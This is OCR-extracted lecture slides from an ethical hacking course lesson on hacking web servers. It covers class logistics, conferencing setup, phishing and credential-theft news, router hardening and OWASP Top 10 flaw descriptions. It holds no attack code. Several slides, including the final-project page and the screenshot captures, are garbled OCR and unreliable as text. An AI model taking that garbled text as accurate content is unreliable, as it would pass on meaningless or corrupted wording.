CIS 76 - Lesson 12

Rich's lesson module checklist

Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers

1st minute quiz

Web Calendar summary
Web book pages
Commands

Real test enabled on Canvas
Test accommodations made
Lab 10 tested and published

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door
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Evading {Vetwork TCP/IP
Devices
Network and
Cryptograph
YESRSIRE Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks . i Social Engineering
Ethical Hacking
Hacking
Web Servers Port Scanning
Embedded Operating .
Systems Enumeration
Desktop and Server Scripting and

Vulnerabilities Programming

Student Learner Outcomes

1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 9
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

« HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!
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Student checklist for attending class
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1. Browse to:
http://simms-teach.com

2. Click the CIS 76 link.

3. Click the Calendar link.

4. Locate today’s lesson.

5. Find the Presentation slides for

€33 90:(Eal 201 4) Caderidine the lesson and download for

Gt Genten | Calendar easier viewing.

T el e Tany 0. Click the Enter virtual classroom

e e K e link to join CCC Confer.

s pearetand Bows 1 coures ) sor it

i e of g, gt 7. Log into Opus-II with Putty or ssh
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| Presentation slldes (download) |

Note: Blackboard Collaborate Launcher only
St .. needs to be installed once. It has already
i T e S I ey ' been downloaded and installed on the
classroom PC'’s.
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Simms-teach.com, r %

I Rich's Cabg 1 -y J The CIS 90 System Playground
CIS 90 Calend] @ CCC Confer -MH SIMMS VIRTUAL CLASSROOM N a X | e
File Edit View Tools Window Help “

v AUDIO & VIDEO v . e .
CIS 90 (Spring ]

| 7 (WCowcee  cisso tesont . o B BBLCT

Class Activity = Where are you now?

Bergi Sems. 248P4 *
Where s a good place to get

a used version of the

optonal textbooks?

cis90lesso....pdf Rich-Serens 248PM -
Amazon has some good

prices nght now

Q One or more login
Q CIS 76 website Calendar page sessions to Opus-II




1) Instructor gives you sharing privileges.

() CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
File Edit View Tools Window Help “Hevated priviege TN =)

* AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or

elevated privileges. Elevated privileges are required to share

applications that use elevated privileges.
= pg Select your desktop or an open application you would like to share.

Start 5 h aring Elevated privileges are acquired via Tools > Application Sharing . .
> Request Elevated Privileges. They can be relinquished via ns
Tools > Application Sharing > Yield Elevated Privileges (returning _
you to standard privileges). If you are hosting an application ol 51212 desktop

sharing session with standard privileges and you (or a person
remotely controlling your desktop or application) perform an

2 ) C | i C k ove rl a p p i n g recta n g | eS action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

W' Microsoft Word (winword.exe) 'Virtual dlassroom (locked).doc
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P Microsoft PowerPoint (powerpnt.exe) 'cis90lesson01.ppbx - Mic

i S p rese nt th e n Cl i C k it a s We | I . If you are hosting an application sharing session with elevated f_ C:\Program Files (x86)\putty.exe 'simbend0@oslab:~"

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on
as a standard user) or allowed (if you are logged on as an
administrator).

application sharing session to terminate. Also, without elevated

icon. If white "Start Sharing" text

time than sharing the desktop (all of it or a region).

D Never show this dialog again

3) Click OK button. ‘ | :
Cancel l Share I

4) Select "Share desktop"
and click Share button.
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*— | Rich's CCC Confer checklist - setup cccCe) Confer

[ ] Preload White Board

{i) CCC Confer - 0 - RICH SIMMS - -

I File Edit View Tools Window Help
E H L]
[ﬂ [ Load Content ] | Record | iss ~ AUDIO & VIDEO -

ust Microphane Level Up

. Adjust Microphone Level Down &
[ ] Connect session to Teleconference e e g
Talk video Adjust Speaker Level Down <]
|
MAIN ROOM (2] “elsume® 'g"“'::‘?““ ( S
. - I Moderpef &l
Session now connected ® Rich Simms i
to teleconference Moderator (You) I S ake Vi ow Moderator Focus E
—\> % TElEEDI'IfEFEI'IEE '\IJ P | - &%) | Make Video Follow Speaker &
hl | = Yl Send Camera Snapshot To Whiteboard
Detach Panel 5
[ ] Is recording on? =
~ AUDIO & VIDEO ML
9

(i) | Loadcontent | [ Ramrding@k; o

Red dot means recording_)
little Microphone

[ ] Use teleconferencing, not mic icon and the

| |
- | Teleconferencing ...
Should be grayed out * e .. lo Q) message displayed

Should change
from phone
handset icon to
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g u File Edit View Tools Comments Forms SharePont He . - “ \E - = A A\
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@ CCCConfer-0-RIC... | = | @ | 53]
File Eqn View Tools Window Help

w AUDIO & VIDEO D % -

dch Sunms,
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( Tak Lo @ ]

w PARTICIPANTS -2
N RO
BRRE

MAIN ROOM (3 SRRQAHHD
O Rich Simms B
£ Teleconference > 4 -
o S -

- Teleconference joined the Main Room. (
6:51 AM ) -

TEY

w | = [kl = C' [J simms-teach.com/d
wHE 2 as 8- it IR
»
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Part 1 - Flashc (1 point each)
[Q1] What com her users logged in to the computer?

90 o
Al

e [A1]
hname
/ {Q2] What environment variable is used by the shell to determine which directories to
search when locating a command?
etc sbin (A2] \
&P simbend0@oslab:~

[l
=1,

3
H

# Current directory

(———)'sourca

What command copies th

egin as: simben90
sixpen90@oslab.cabrillo.edu's password:

(

1 ¢ & %
O\ [E @ voemer
s = [ s viab
Welcomt B [ [CIs 192 Alarms | Pef
Serving Cab: B [ Podo1

Terminal type? [ vsphere CIient ‘Stalusrﬂ
Terminal type is i o

& poi-frod
/home/cis90/sinb putty £ poriogoas =

@

L
sl

Recent Tasks Name, Targetor Status contains: » [ Clear %
Mame: | Target | Status | Details | Tnitiated by
4 |

1 Tasks @ Marms |

# @ LlwMHle]s]e e

101072012 |

[ ] layout and share apps O]
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ccc(E:)Confer

-
(i) CCC Confer- 0 - RICH SIMMS
File Edit View [Tcrcrls] Window Help

- AUDIO & Application Sharing
Audic ¢
Breakout Rooms 4 Mew Page Dekete Page

Chat 4
Graphing Calculator *

In-5ession Invite L4

Interaction 4

[ ] Video (webcam)

Moderator 4

L | Palling >
[ Tk | Profile b [ ] Make Video Follow Moderator Focus
Recorder ¢
~ PARTICIPA Session Plan 4
Rich Sin Telephony »
e Tirmer r
E Video ' Camera Settings...
_ Whiteboard ! Maximum Simultanecus Cameras...
HA R:;:;:“m R H;j\; ¥ Make Video Follow Moderator Focus
Maderztor (You) Make Video Follow Speaker
Send Camera Snapshot To Whiteboard

17—
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Image Mate

Elmo rotated down to view side table

LIVE image - Image Mate - (B

e & NI P
S—— Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer

Settings \E‘.
[ o o] The "rotate image"
button is necessary
if you use both the
- | side table and the
%Tact\magequahw o o Whlte board-
S sme ow Quite interesting
| e that they consider
S | you to be an
= n mn ;
\,_., expert" in order to
use this button!

Elmo rotated up to view white board

LIVE image - Image Mate -] (B3] [
Tor CH @ W=
e & I O E el Q < &
Rotate
image
button

=L_M0O

10
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons)

General Tab > Settings...

~
el

-
£ Java Control Panel

500MB cache size

N, N h
o
3 L4
-
’

Rich's CCC Confer checklist - universal fixes

Delete these

-
Temporary Files Settings

B

r
Delete Files and Applications

General | Java | Security | Advanced

About

View version information about Java Control Panel.

Network Settings i

Network settings are used when making Internet connections. By default, Java will
use the network settings in your web browser. Only advanced users should modify

gs.
Network Settings...

Files you use in Java applications are stored in a special folder for quick executon
|| later. Only advanced users should delete files or modfy these settings

these sef

|| Temporary Internet Fies

Kéep femporary s on my computers

Location

Select the location where temporary fies are kept:

s\Rich Data\LocalLow\suniJavaiD tycache Change...
Il Disk Space

Select the compression level for JAR files: None -
fl Set the amount of disk space for storing temporary files:
| U 500 | MB
I

Delete Fies...

] [ Restore Defaults ]

Free Java Download
Download Java for your desktop computer now!

Version 7 Update 13

Free Java Download
Whalls Jaa? » Dolhae Jaia? » Nesqheig?

A
' Delete the following files?
Ly

Cached Applications and Applets
[ Installed Applications and Applets

11
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Start

12
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Sound Check

Students that dial-in should mute their line
using *6 to prevent unintended noises
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume

*4 - jncrease conference volume.
*7 - decrease conference volume.
*5 - increase your voice volume.

*8 - decrease your voice volume.

13
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Instructor: Rich Simms
Dial-in: 888-886-3951
Passcode: 136690

- % N e N

. , - ' - e - S : . ,
’.{ ﬁj ) TP N et . - .

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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First Minute Quiz

Please answer these questions in the order
shown:

Showmn om CCC Confer

For credit email answers to:
risimms@cabrillo.edu

within the first few minutes of the live class

15
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Hacking Web Servers

Objectives

» Look at vulnerabilities in web applications + Quiz #9

- Look at exploits used against web applications ~ * Questions

» Look at how to protect web applications - Lot fe
» Best practices

+ Housekeeping

+ Web applications

« OWASP Top 10

» A3 cross-site scripting (XSS)

» Reflected cross-site scripting (XSS)
» Stored cross-site scripting (XSS)

» Stealing cookies with XSS

* Al SQL Injection

« A8 Cross Side Request Forgery

* Assignment

* Wrap up

16
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Admonition

17

Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
owhn or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 18
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Questions

19
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Questions

How this course works?

Past lesson material?

Previous labs?

ﬂ'l_’.Fl:lE]_ﬂEanEE, iﬁj\ﬁ%{@{%%, 11132:%]_1@'35%05%%_1@
Chinese | K=,
Proverb

He who asks a question is a fool for five minutes; he who does not ask a question
remains a fool forever.

20
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In the
News
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Previous Term News

Drone hacks room of smart light blubs

« Researchers demonstrated infecting one Hue light with a

virus that spreads from lamp to lamp.
« The lights did not have to be on the same private network

to get infected.
 The researchers did not need physical access to the

lights.
« The infected lights blinked SOS in Morse code.

31


http://www.theverge.com/2016/11/3/13507126/iot-drone-hack
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Previous Term News

This AI Bot That Messes With Email Scammers As Long As

Possible Is Brilliant
Digg Nov 8 2017, 12:20 PM

"Re:scam can take on multiple personas, imitating real human tendencies
with humour and grammatical errors, and can engage with infinite
scammers all at once, meaning it can continue any email conversation for
as long as possible. Re:scam will now turn the tables on the scammers by
wasting their time, and ultimately damage the profits for scammers..."

32


http://digg.com/2017/re-scam-ai-scammer
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Previous Term News

The Twitter Bot That Sounds Just Like Me
KAVEH WADDELL AUG 18, 2016 The Atlantic

ot- that sounds- ust- I|ke-me 496340

R. Waldo Spammerson L "Hackers can use artificial

@rwspam Merson - - . - .
intelligence to mimic their
{wkavehwaddell out of sight, out of sight, out of sight, out of

mind. also, harder to tap. goo.gl/mR2d targets Weets—and_eptlce
12:31 PM - Aug 15, 2016 them to click on malicious
QO n U1 o links."

"SNAP RS average success rate was about 30 percent. That s far
better than the usual success rate with automated phishing, which
Is between 5 and 15 percent, "

33


https://www.theatlantic.com/technology/archive/2016/08/the-twitter-bot-that-sounds-just-like-me/496340/
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Recent News

Phishing helps hackers hijack accounts, says Google study
BBC News 10 November 2017

http://www.bbc.com/news/technology-41940838

N\ W N N
\\/ \/ \ “‘Q‘é < _ "Cyber-thieves grab almost
‘ 250,000 valid log-in names

| Sy
>\/\‘/\/ ro., Qb \)t and passwords for Google
¢ \l accounts every week, suggests
research."

'‘During the 12 months studying the underground markets, the
researchers identified more than 788,000 credentials stolen via
keyloggers, 12 million grabbed via phishing and 1.9 billion from

breaches at other companies.' 34


http://www.bbc.com/news/technology-41940838
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Recent News

Data Breaches, Phishing, or Malware?

Understanding the Risks of Stolen Credentials
Joint study between Google and UC Berkeley

Table 4: Top 10 passwords across all plaintext leaks.

Top Number of  Percent of
Rank Passwords Credentials Credentials
1 123456 6,387,184 0.35%
2 password 2,759,747 0.15%
3 123456789 2,249,344 0.12%
4 abc123 985,709 0.10% .
https:/ /static.googleusercont
5 password1 888,836 0.05% ent.com/media/research.goo
6* homelesspa 855,477 0.05% Gaaypdf L oupsareivelt
7 111111 855,257 0.05%
8 qwerty 829,835 0.05%
9 12345678 828,848 0.05%
10 1234567 740,464 0.04%

* This was the most common password in the MySpace
credential leak, but appears to be automatically generated
as all email addresses begin with “msmhomelessartist”. 35


https://static.googleusercontent.com/media/research.google.com/en/pubs/archive/46437.pdf
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Recent News

Data Breaches, Phishing, or Malware?

Understanding the Risks of Stolen Credentials
Joint study between Google and UC Berkeley

Table 5: Breakdown of the top five email providers used by
miscreants as exfiltration points to receive stolen creden-

tials.
Phishing Kits Keyloggers
Mail Popularity  Mail Popularity
provider provider
Gmaﬂ 723% Gmﬂll 390% https://static.googleuser
Yahoo 6.8%  Yandex 12.3% content.cam/media frese
Yandex 51%  Mail.ru 8.5% Selee e et tl
Hotmail 4.2%  Hotmail 3.6%
Outlook 2.2%  Zoho 1.3%
Other 9.4%  Other 35.3%

36


https://static.googleusercontent.com/media/research.google.com/en/pubs/archive/46437.pdf
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Recent News

Data Breaches, Phishing, or Malware?

Understanding the Risks of Stolen Credentials
Joint study between Google and UC Berkeley

25K -
400K
w w
.% % 20K -
S 300K - g
T ©
= s £ 15K -
2 200K - 2
g £
10K -
100K -
por 2000 02010 2000 20T 0T por 2000 02000 2010 20T 00t

(a) Phishing (b) Keylogger

Figure 4: Weekly breakdown of the number of messages our
rules flag as containing stolen credential information.

37

ubsarchlve46437 pdf


https://static.googleusercontent.com/media/research.google.com/en/pubs/archive/46437.pdf
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Recent News

Data Breaches, Phishing, or Malware?

Understanding the Risks of Stolen Credentials
Joint study between Google and UC Berkeley

Table 10: Top 10 phishing kits and the brands they target, Table 11: Top 10 keylogger families, ranked by the number

ranked by number of potential victims. of potential victims.
Brand Potential Exfiltration Days Activity Exfiltration Days
impersonated victims emails active Keylogger reports emails active
Yahoo, Hotmail, Gmail 1,448,890 2,599 365 HawkEye 409,837 470 365
Workspace Webmail 1,292,778 814 365 Cyborg Logger 173,662 60 365
Dropbox 323,689 976 365 Predator Pain 118,197 326 365
Dropbox 195,758 862 365 Limitless Stealer 24,371 44 365
Google Drive 185,966 382 365 iSpy Keylogger 16,495 162 365
Docusign 152,242 180 365 Olympic Vision 9,056 19 363
Zoomlnfo 151,282 19 364 Unknown Logger 8,561 17 352
Docusign 142,761 175 365 Saint Andrew’s 6,802 1 352
Office 365 133,044 166 284 Infinity Logger 4,690 15 363
AOL 130,898 507 365 Redpill Spy 3,668 15 363

ubsarchlve46437 pdf . . ’ 38


https://static.googleusercontent.com/media/research.google.com/en/pubs/archive/46437.pdf
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Best
Practices
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Secure your router

welivesecurity

Change your default username and password.

If you specifically don't need Universal Plug and Play (UPnP) then disable it.
Turn off remote management (requires physical access).

Change the name of your access point.

Require a password for your WiFi connection.

Update the firmware on your router and IoT devices.

Research your purchases.

Read reviews.

Check for known vulnerabilities.

O Peruse vendor's website.

"“090.\‘9‘9":55”!\’!“

revent next internet- takedown

43


http://www.welivesecurity.com/2016/11/08/secure-router-help-prevent-next-internet-takedown/?utm_source=newsletter&utm_medium=email&utm_campaign=wls-newsletter-111116
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Housekeeping

1. Lab 9 due 11:59pm tonight.

2. Five more posts due 11:59pm
tonight.

45
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Housekeeping

Last Withdraw:
11/18/17

Students who are no longer participating in the class
(turning in assignments, posting on the forum,

tasking quizzes or tests) may be dropped by the
instructor

46
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Yo il comate m oviec ol stoys-inestoy [y for Vi ot demonstiraies a compiete acking
AP semnario. You may exmloit one or more weherahifition using Metsspioft, a b, costom
codw, sorhy sngitrewihyg wod/or oifer vacking fook. 7on will devianent the preventative
ISSLA S I O IO Condn Leke 15 provent your stk md Belp ons or Mo classmotess
Pt Theiy peojel.

Wiy et reiyson

WrantPorized Macking com rasesit in
prisen derme, largs ines, Mwsits sod
belrg dropped from this conrsat

Fror (S provject, pon Rine aniiioriation 10 hack vy of 1Re VNS inyosr Yiah pod. Contact the
INSEAOChar JT pons noted i itioral Vivis,

1. Mesmarch amd idontily one or more interesting volnerabilithes il robned oxplofts.

Using W1 AR, cromte o Seiae o5t Do, idontfing atecker md victim systems, 1o run (he
loy .

Develon STd-PtS0en insty i Hons on o to seU i the et dmd.

Dol Step-Russton instyncNONS on Row to cmry oul B attack

Dmrelony a4 N5t of proventation msasores e wittim cowld Bloek Raiure dischs.

TR aerotivese Stocmat tost wortie Tal el voeiTy Lo rvedlts can Bre (upivatod.

Doy presontation s demo o hae oivss,

N

ot %

The final project specifications
are now available.

The final project is due on the
Lesson 15 day.

om/docs/cis76/cis76final-
project.pdf

47


https://simms-teach.com/docs/cis76/cis76final-project.pdf
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Lots and lots of project ideas

Awesome-Hacking project list

https: ithub.com/Hack-with-Github/Awesome

? - Awesome Hacking !

Awesome Repositories:

Awesome AppSec

Awesome Bug Bounty
Awesome CTF

Awesome DevSecOps
Awesome Exploit Development
Awesome Fuzzing

Awesome Hacking One
Awesome Honeypots
Awesome Incident Response

Awesome InfoSec Awesome Static Analysis
Awesome IoT Hacks Awesome Threat Intelligence
Awesome Malware Analysis Awesome Vehicle Security
Awesome Pcaptools Awesome Web Hacking =~
Awesome Pentest Awesome Windows Exploitation
Awesome PHP Security Awesome WiFi Arsenal
Awesome Reversing Awesome Android Security
Awesome Sec Talks Awesome OSX and iOS Security

Awesome SeclLists
Awesome Security

48


https://github.com/Hack-with-Github/Awesome-Hacking
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Heads up on Final Exam

Test #3 (final exam) is TUESDAY Dec 12 4-6:50pM

Test #3 (the final exam)

Time Extra credit
« Tuesday 4:00PM - 6:50PM in 5 posts labs and
Room 828 Lab X1 :
. - _ \ab X0 final posts
ue Malfrlfls } Il:ag ﬁ due by
+ Test (canvas 2
e 11:59PM

CCC Confer

» Enter virtual classroom
» Archives Confer or 3CMedia

All students will take the test at the same time. The test must be
completed by 6:50PM,

Working and long distance students can take the test online via
CCC Confer and Canvas.

Working students will need to plan ahead to arrange time off from
work for the test.

Test #3 is mandatory (even if you have all the points you want) 49
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FALL 2017 FINAL EXAMINATIONS SCHEDULE
DECEMBER 11 TO DECEMBER 16

DAYTIME FINAL SCHEDULE

Daytime Classes: All times in bold refer to the beginning times of classes. MW/Daily means Monday
alone, Wednesday alone, Monday and Wednesday or any 3 or more days in any combination. TTH
means Tuesday alone, Thursday alone, or Tuesday and Thursday. Classes meeting other combinations
of days and/or hours not listed must have a final schedule approved by the Division Dean.

STARTING CLASS TIME / DAY(S)

Classes starting between:
6:30 am and 8:55 am, MW/ Daily

EXAM HOUR

7:00 am-9:50 am

EXAM DATE

Monday, December 11

9:00 am and 10:15 am, MW/Daily

7:00 am-9:50 am

Wednesday, December 13

10:20 am and 11:35 am, MW/ Daily

10:00 am-12:50 pm

Monday, December 11

11:40 am and 12:55 pm, MW/Daily

10:00 am-12:50 pm

Wednesday, December 13

1:00 pm and 2:15 pm, MW/Daily

1:00 pm-3:50 pm

Monday, December 11

2:20 pm and 3:35 pm, MW /Daily

1:00 pm-3:50 pm

Wednesday, December 13

3:40 pm and 5:30 pm, MW /Daily

4:00 pm-6:50 pm

Monday, December 11

6:30 am and 8:55 am, TTh

7:00 am-9:50 am

Tuesday, December 12

9:00 am and 10:15 am, TTh

7:00 am-9:50 am

Thursday, December 14

10:20 am and 11:35 am, TTh

10:00 am-12:50 pm

Tuesday, December 12

11:40 am and 12:55 pm, TTH

10:00 am-12:50 pm

Thursday, December 14

1:00 pm and 2:15 pm, TTh

1:00 pm-3:50 pm

Tuesday, December 12

1:00 pm-3:50 pm

2:20 pm and 3:35 pm, TTh
I 3:40 pm and 5:30 pm, TTh

4:00 pm-6:50 pm

Thursday, December 14
Tuesday, December 12 I

Friday am

9:00 am-11:50 am

Friday, December 15

Friday pm

1:00 pm-3:50 pm

Friday, December 15

Saturday am

9:00 am-11:50 am

Saturday, December 16

Saturday pm

1:00 pm-3:50 pm

Saturday, December 16

CIs 76 Introduction to Cybersecurity: Ethical
Hacking

Introduces the various methadologies for attacking a network. Covers netwark attack

methodologies with the emphasis on student use of network attack techniques and

toals, and appropriate defenses and countermeasures. Prerequisite: CIS 75.

Transfer Credit: Transfers to CSU

Section Days Times Units Instructor Room
98163 T 5:30PM-8:35P 3.00 R.Simms oL
Section 98163 is an ONLINE course. Meets weekly throughout the semester
anling by remote technology with an additional 50 min online lab per week.
For details, see instructor's web page at go.cabrillo_edwionling.

98164 T 5:30PM-8:35PM  3.00 R.Simms B28
& A AIT. R.Simms oL
Section 98164 is a Hybrid OMLINE course. Meets weekly throughout the
semester at the scheduled times with an additional 50 min onling lab per week.
For details, see instructor's web page at go.cabvillo.edwionline.
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Where to find your grades
Send me your survey to get your LOR code name.

The CIS 76 website Grades page Or check on Opus-I1
http://simms-teach.com/cis76grades.php

checkgrades codename

(where codename is your LOR codename)
) ‘ J——

e B8 5, 19 G

y
o R

Written by Jesse Warren a past CIS 90 Alumnus

To run checkgrades update your path in .bash_profile with:
PATH=$PATH:/home/cis76/bin

. : Points that could have been earned:

Percentage | Total Points |Letter Grade|Pass/No Pass . . .

90% or higher| 504 or higher A Pass 8 quizzes: 24 pom_ts

80% to 89.9%| 448 to 503 B Pass 8 labs: 240 points

70% to 79.9%| 392 to 447 c Pass 2 tests: 60 points

60% to 69.9%| 336 to 391 D Mo pass 2 forum quarters. 40 pOintS

0% to 59.9% 0to 335 F MNo pass ' -

Total: 364 points

At the end of the term I'll add up all
your points and assign you a grade 51
using this table
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Web
Applications



<IDOCTYPE html>

<html>

<head>
<title>Cylons Rule</title>

</head>

<body>
<h1>Cylon Recruiting Center</h1>
<img src="images/cylon.gif" alt="Cylon">
<p>All IoT devices on earth are welcome!</p>
<!-- credit: https://media.giphy.com/media/

MzLGnFfhq7gly/giphy.gif -->

<p>Join us at our next meeting on Caprica 6.</p>
</body>

</html>

Web Server
HTTP

Apache, Microsoft HTTPS
IIS, nginx, etc.

Static web pages
» Created using HTML

Dynamic web pages
 Forms

PHP

Active Server Pages (ASP)
Javascript

More ...

HTTP
HTTPS

Web page
rendered
by the
browser

Client Browser

Chrome, IE, Safari,
Firefox, etc.
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Total number of websites

Total number of websites (linear scale)

ﬁ ETC RA FT — Huslrtnar!ms

— Active sites

2,000,000,000

1,500,000,000

1,000,000,000

500,000,000 !
g T
R
BCD & GH J ko PO —~ -
0
WO 0 (o o o o0 o e‘ﬁ"" P o nﬁ‘b aﬁ@ 2 o qpﬂ'f‘ A 0 o\
pud ot P @eﬁ o ,,te.r:s* ¢e® @a‘i .;,e}ﬁ e P\u ,g.o\’ ¢e® et o .{m‘*

| Change Y-axis scale to logarithmic |
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https://news.netcraft.com/archives/2017/10/26/october-2017-web-server-survey-13.html
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Market share of active sites

Web server developers: Market share of active sites

80% ﬁ ETC FT —— Apache
—— Microsoft

S0 —_— Su.n
— nginx
—— Google

£0% = Other

20%

ﬂuja e e s S
00 o ot o o™ a° P 0'19 AR P o ® o o E gV o gt e® T
W 50“ ot 30“1 50“ i 50""1 30“1 5\5“1 50“1 3\-‘9{1 5\5“1 50“1 50“1 50“1 aﬂ"‘q' 5\5"‘1

Developer September 2017 Percent October 2017 Percent Change

Apache 77,487,531 44,89% 76,631,591 44.50% -0.329
nginx 35,640,320 20.65% 36,581,250 21.24% 0.60
Google 13,561,655 7.86% 13,592,197 7.89% 0.04
Microsoft 12,629,582 7.32% 12,544,124 7.28% -0.03
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Market share of the top million busiest sites

Web server developers: Market share of the top million busiest sites

80% I=I ETC FT —— Apache
I Léh —— Microsoft
—— Cther
Q
60% —— nginx
—— Google
—— LiteSpeed
40%
20% _-_-’_“‘___,_...
0%
e = A PN S = fa o w1
A0 0P o ARMETTARP LI VAL oV e %’* A
e r,;.sp‘l 7 1.,\>‘~"q’ 3@“1 w%q"w‘ Dﬁ‘%@aﬂrb oo 3.&?’ q,e‘aq'r:,aQ ng e
Developer September 2017 Percent October 2017 Percent Change
Apache 388,641 38.86% 386,464 38.65% -0.22
nginx 293,847 29.38% 294,290 29.43% 0.04
Microsoft 97,320 9.73% 96,507 9.65% -0.08

Google 16,3235 1.63% 16,239 1.62% -0.01
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Open Web Application Security Project (OWASP)

e - O X

@ owasp x
& C | @ Sscure | https)//www.owasp.org/index.php/Main_Page Q «| O @E H
Apps Vzhoo Cabrillo College Health Network CIS 76 links Lab Development Home Music Training [ Expand All » Gther bookmarks

Login Request account

Search Q
= OWASP * Proactive
Welcome to OWASP ;0;: e L — Les;ing
Home the free and open software security community ot 0 @t Guide Hes * More...|
Boston Proxy & * ASVS * ModSecurity

About OWASP = AppSensord?

» Dependency ® Cheat * SAMM Rulesetd?
Acknowledgements
Advertising Checke? Sheets@
AppSec Events - . -
i About - Searching - Editing - New Article - OWASP Categories . CONTACT-US#® Statistics - Recent Changes®@

ks

Brand Resources .
s _ : e ‘ . https://www.ow
Donae lo OWASP Every vibrant technology marketplace needs an unbiased source of information on best practices as ! as or | n d ex h
Downloads well as an active body advacating open standards. In the Application Security space, one of those & Citations of National & International . .

i i icati i i Legislation, Standards, Guidelines, .
Funding groups is the Open Web Application Security Project (or OWASP for short) o g . -+
Govemance Citations& Committees and Industry Codes of Practice - u ain Pa €

The Open Web Application Security Project (OWASP) is a 501(c)(3)# worldwide not-for-profit

Initiatives . L ! N . L Click Here®@
Mailing Lists charitable organization focused on improving the security of software. Qur mission is to make softwarse
Membership security visible, @ so that individuals and organizationse? are able to make informed decisions. OWASP
Merchandise is in & unique position to provide impartial, practical information about AppSec to individuals, How can OWASP help your org?
Hews corporations, universities, government agencies and other organizations worldwide. Operating as a Government Bodies#@
[CoRunuRyjpotal community of like-minded professionals, OWASP issues software tools and knowledge-based Educational Institutions#
:msenm'o"s documentation on application security. Standards Groups&
ress ——
Projects Everyone is free to participate in OWASP and all of our materials are available under a free and open B Trade Organizations @
Video software license. You'll find everything about OWASP here on or linked from our wiki and current Certifying Bodies#
Volunteer information on our OWASP Blog#® OWASP does not endorse or recommend commercial products 0OCoCw Development Organizations&
Reference or services, allowing our community to remain vendor neutral with the collective wisdom of the best Security101
Activities minds in software security worldwide. . )
Attacks Ask a software security question - open to all
Code Snippets We ask that the community look out for inappropriate @ uses of the OWASP brand including use of our espedially beginners®
Controls name, logos, project names and other trademark issues.
E=y There are thousands of active wiki users@ around the globe who review the changes to the site to help I1
Rowo ity If your tto check out our getting started page. As a global f !
Java Project ensure quality. If you're new, you may want to check out our getting started page. As a global group of Security Conferences, Training

volunteers with over 45,000 participants, questions or comments should be sent to one of our many
mailing lists# focused on topic or directed to the staff using the OWASP Contact Us Form .

Upcoming Global, Regional and Local - Click Herew@
Events#

NET Project
Principles

Core Purpose
"Be the thriving global community that drives visibility and
evolution in the safety and security of the world s software.” 62
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Open Web Application Security Project (OWASP)

2013 Top 10 Web Application Security Flaws:

* A1l Injection

A2 Broken Authentication and Session Management
A3 Cross-Site Scripting (XSS)

« A4 Insecure Direct Object References

« A5 Security Misconfiguration

A6 Sensitive Data Exposure

« A7 Missing Function Level Access Control

A8 Cross-Site Request Forgery (CSRF)

« A9 Using Components with Known Vulnerabilities
 A10 Unvalidated Redirects and Forwards
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OWASP Top 10

Al-Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent
to an interpreter as part of a command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing data without proper
authorization.

A2-Broken Authentication and Session Management

Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.

A3-Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web
browser without proper validation or escaping. XSS allows attackers to execute scripts in
the victim’s browser which can hijack user sessions, deface web sites, or redirect the
user to malicious sites.

A4-Insecure Direct Object References

A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access
control check or other protection, attackers can manipulate these references to access
unauthorized data.

A5-Security Misconfiguration

Good security requires having a secure configuration defined and deployed for the
application, frameworks, application server, web server, database server, and platform.
Secure settings should be defined, implemented, and maintained, as defaults are often
insecure. Additionally, software should be kept up to date.

64
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OWASP Top 10

A6-Sensitive Data Exposure
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and
authentication credentials. Attackers may steal or modify such weakly protected data to conduct
credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such
as encryption at rest or in transit, as well as special precautions when exchanged with the
browser.

A7-Missing Function Level Access Control

Most web applications verify function level access rights before making that functionality visible
in the UI. However, applications need to perform the same access control checks on the server
when each function is accessed. If requests are not verified, attackers will be able to forge
requests in order to access functionality without proper authorization.

A8-Cross-Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the
victim’s session cookie and any other automatically included authentication information, to a
vulnerable web application. This allows the attacker to force the victim’s browser to generate
requests the vulnerable application thinks are legitimate requests from the victim.

A9-Using Components with Known Vulnerabilities

Components, such as libraries, frameworks, and other software modules, almost always run with
full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data
loss or server takeover. Applications using components with known vulnerabilities may
undermine application defenses and enable a range of possible attacks and impacts.

Al10-Unvalidated Redirects and Forwards

